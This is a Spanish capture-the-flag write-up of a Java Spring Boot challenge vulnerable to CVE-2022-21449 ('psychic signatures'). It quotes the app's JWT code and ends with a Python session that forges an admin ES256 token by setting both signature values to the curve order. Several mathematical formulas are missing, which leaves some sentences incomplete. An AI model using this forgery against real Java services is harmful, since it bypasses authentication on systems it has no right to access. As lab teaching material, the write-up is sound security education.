read before you sign
4 minutos de lectura
Se nos proporciona un proyecto web construido con Java y Spring Boot. Tenemos esta página inicial:
Podemos registrar una cuenta y luego iniciar sesión. Llegaremos a este dashboard que solo muestra nuestro nombre de usuario:
Entonces, es un buen momento para leer el código fuente.
Análisis del código fuente
Hay un endpoint /list
gestionado por un método showFiles
en la clase UserController
:
@GetMapping("/list")
public ResponseEntity<String> showFiles(@CookieValue("token") String jwt) {
if (jwt == null || jwt.isEmpty()) {
return new ResponseEntity<>("Bad request.", HttpStatus.BAD_REQUEST);
}
if (!this.authService.validateToken(jwt)) {
return new ResponseEntity<>("Your JWT token could not be validated. Please try again later.", HttpStatus.UNAUTHORIZED);
}
Roles userRole = this.authService.checkRole(jwt);
if (userRole == Roles.USER) {
return new ResponseEntity<>("User logged in.", HttpStatus.OK);
}
if (userRole == Roles.ADMIN) {
String fileContents = getFileContents("/flag.txt");
return new ResponseEntity<>("Admin logged in. Flag contents:\n" + fileContents, HttpStatus.OK);
}
return new ResponseEntity<>("Someone else logged in.", HttpStatus.OK);
}
Debemos llamar a este método para leer la flag:
Pero necesitamos tener el rol de admin
. Las sesiones se gestionan usando JWT, en AuthService
:
package com.psycontractorgradle.service;
import com.psycontractorgradle.enums.Roles;
import io.jsonwebtoken.*;
import io.jsonwebtoken.security.Keys;
import org.springframework.stereotype.Service;
import java.security.KeyPair;
import java.util.Date;
import java.util.HashMap;
@Service
public class AuthService {
private final KeyPair keyPair;
private final JwtParser verifier;
public AuthService() {
this.keyPair = Keys.keyPairFor(SignatureAlgorithm.ES256);
this.verifier = Jwts.parserBuilder().setSigningKey(this.keyPair.getPublic()).build();
}
public boolean validateToken(String token) {
try {
this.verifier.parseClaimsJws(token);
return true;
} catch (Exception e) {
return false;
}
}
public String generateToken(String username) {
return Jwts.builder()
.setClaims(new HashMap<String, String>() {{ put("role", "user"); }})
.setIssuedAt(new Date(System.currentTimeMillis()))
.setExpiration(new Date(System.currentTimeMillis() + 1000 * 60 * 60 * 10))
.setSubject(username).signWith(this.keyPair.getPrivate()).compact();
}
public Roles checkRole(String token) {
String role = this.verifier.parseClaimsJws(token).getBody().get("role", String.class);
if (role.equals("user")) {
return Roles.USER;
}
if (role.equals("admin")) {
return Roles.ADMIN;
}
return Roles.UNKNOWN;
}
}
Como se puede ver, el campo de rol
siempre se pone a user
, por lo que no hay una forma natural de ser admin
.
El JWT está usando cifrado asimétrico como algoritmo de firma. Específicamente, usan ES256, que es una firma de curva elíptica en la curva P-256 (también conocida como secp256r1).
Encontrando la vulnerabilidad
Si buscamos sobre las firmas de Java y ECDSA, encontraremos una vulnerabilidad presente en la JVM que ocurre en situaciones especiales al realizar cálculos de aritmética modular. De hecho, hay un CVE-2022-21449, conocido como “firmas psíquicas”.
Hay varios recursos que cubren esta vulnerabilidad. Estos son algunos de ellos:
- CVE-2022-21449: Psychic Signatures in Java
- Testing JSON Web Tokens
- CVE-2022-21449 “Psychic Signatures”: Analyzing the New Java Crypto Vulnerability
- Firmas psíquicas - lo que necesitas saber
ECDSA
Básicamente, las firmas de ECDSA son un par de valores
Donde
El proceso de verificación es así, donde
La firma es válida si
Solución
El problema con Java es que no verifica que
Nótese que no estamos diciendo que
Como resultado, simplemente podemos tomar la cabecera JWT y la carga útil, cambiar el rol a admin
y cambiar la parte de la firma para poner
Estas tareas se pueden hacer directamente en Python:
>>> import requests
>>> from base64 import urlsafe_b64decode, urlsafe_b64encode
>>>
>>> URL = 'http://94.237.54.116:42233'
>>>
>>> requests.post(f'{URL}/register', data={'username': 'rocky', 'password': 'asdf', 'email': 'asdf@asdf.com'})
<Response [200]>
>>> r = requests.post(f'{URL}/login', data={'username': 'rocky', 'password': 'asdf'})
>>> token = r.cookies.get('token')
>>> token
'eyJhbGciOiJFUzI1NiJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTc0MTUyNDIyMiwiZXhwIjoxNzQxNTYwMjIyLCJzdWIiOiJyb2NreSJ9.c8j5mZlOkYxNM3VeBzzevsEGXMsZd1JjfwWLC1g9b61f-WzqoT18vlmbfVqGHrUeHPliCYh6ywPIQCbJ6DnW0Q'
>>>
>>> urlsafe_b64decode(token.split('.')[1])
b'{"role":"user","iat":1741524222,"exp":1741560222,"sub":"rocky"}'
>>>
>>> header = token.split('.')[0]
>>> payload = urlsafe_b64encode(b'{"role":"admin","iat":1741523995,"exp":1741559995,"sub":"rocky"}').decode()
>>> signature = urlsafe_b64encode(b'\0' * 32 * 2).decode()
>>>
>>> new_token = '.'.join((header, payload, signature))
>>>
>>> print(requests.get(f'{URL}/list', cookies={'token': new_token}).text)
Your JWT token could not be validated. Please try again later.
Flag
¡Oh, no funciona! Tal vez
>>> n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
>>>
>>> signature = urlsafe_b64encode(n.to_bytes(32, 'big') * 2).decode()
>>>
>>> new_token = '.'.join((header, payload, signature))
>>>
>>> print(requests.get(f'{URL}/list', cookies={'token': new_token}).text)
Admin logged in. Flag contents:
HTB{never_forget_to_verify_r_and_s___psychic_signatures_are_always_watching!}